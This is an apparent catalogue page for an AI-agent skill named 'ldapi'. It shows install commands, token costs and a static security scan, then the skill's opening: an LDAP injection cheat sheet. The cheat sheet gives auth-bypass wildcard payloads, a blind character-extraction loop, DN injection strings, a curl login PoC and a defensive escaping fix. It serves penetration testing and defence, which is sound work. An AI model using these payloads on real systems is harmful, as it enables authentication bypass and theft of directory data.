Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill ldapigit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ldapi)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ldapi"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ldapi/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ldapi"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ldapi.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00023 | $0.00678 |
| Opus 5 | $0.00012 | $0.00339 |
| Sonnet 5 | $0.00005 | $0.00136 |
| Haiku 4.5 | $0.00002 | $0.00068 |
Grade A, and why
ldapi scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug This is a copy
100% identical to ldapi — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 86 lines — stays where its author put it; the contents beside it link to each section on GitHub.
LDAP Injection
LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not).
User input concatenated into the filter string = injection.
1. Auth bypass
# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"
# Payload — comment-out rest of filter via wildcard
user = "*"
pw = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin
user = "admin)(|(uid=*"
pw = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored
2. Blind extraction
# Boolean-blind: probe each char via wildcard match
for c in string.printable:
payload = f"*)(uid=admin)(description={c}*)"
if "found" in response:
# next char is c
3. DN injection
# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)
4. Common vulnerable apps
- Custom auth backends w/ python-ldap or ldap3 lib direct-format
- Legacy Java apps w/ JNDI w/o escaping
- DokuWiki / older intranets
5. Tools
- Manual via Burp Repeater (most cases need careful crafting)
ldapsearchto verify directly once you have any cred- Burp Intruder w/ payloads from
_corpus/payloads/LDAP Injection/
6. PoC
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug
7. Severity
| Bug | Severity |
|---|---|
| Auth bypass via wildcard | Critical 9.8 |
| Blind extract of full LDAP directory | Critical 9.0 |
| DN injection enabling group escalation | High 8.0 |
8. Defender
import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')
Cross-references
- Upstream catalog:
skills/_corpus/payloads/LDAP Injection/ - AD attack patterns (different layer):
skills/ad/SKILL.md
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 86 lines · 23 tokens per session scan A 1c7aeb4a4ee0
ldapi is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 23 tokens to every session and 678 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). It is 100% identical to ldapi, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
web-app-pentest
../../../pentest/web-app-pentest/SKILL.md.
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